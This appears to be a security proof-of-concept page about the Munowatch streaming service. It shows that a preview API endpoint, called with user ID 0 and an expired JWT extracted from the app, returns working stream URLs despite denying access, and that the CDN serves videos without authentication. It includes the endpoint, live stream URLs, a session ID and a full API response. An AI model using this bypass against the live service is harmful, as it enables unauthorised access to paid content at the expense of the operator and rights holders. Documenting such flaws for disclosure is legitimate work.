SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for In Other Words with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
In Other Words
Vj Emmy Romance 01h 38m 6 years ago

A romantic comedy about a tech geek (Bryan McClure) who lands an investor (Chris Kattan) for his matchmaking app. But when his app matches him with a beautiful girl (Natasha Esca) who doesn't speak English, he travels with his buddies (Joe Nunez and Rishi Arya) to wine country in Baja California, Mexico to prove his algorithm isn't screwy.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/11654/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 22
video_name 6d6a3~22.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 11654,
    "video_title": "In Other Words",
    "description": " A romantic comedy about a tech geek (Bryan McClure) who lands an investor (Chris Kattan) for his matchmaking app. But when his app matches him with a beautiful girl (Natasha Esca) who doesn't speak English, he travels with his buddies (Joe Nunez and Rishi Arya) to wine country in Baja California, Mexico to prove his algorithm isn't screwy.",
    "video_name": "6d6a3~22.mp4",
    "filehistory": " ~ In other words emm.mp4 ~  ~ 0fc8a~22.mp4 ~ ",
    "openload": "0",
    "embedurl": "",
    "serverhost": "22",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 38m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/9df4.jpg",
    "tfilehistory": " ~ 378402877878.jpg ~ ",
    "category_id": 15,
    "language_id": 1,
    "recording_date": "2020-10-03",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 15,
    "series_code": "11654",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "630.98 MB",
    "create_date": "2020-10-03 20:28:05",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 2,
    "video_status_id": 0,
    "network_id": "216.104.205.210",
    "user_access": "deny",
    "notification": "No",
    "secduration": "5901.000000",
    "issubscriber": false,
    "genre": "Romance",
    "vjname": "Vj Emmy",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "6 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}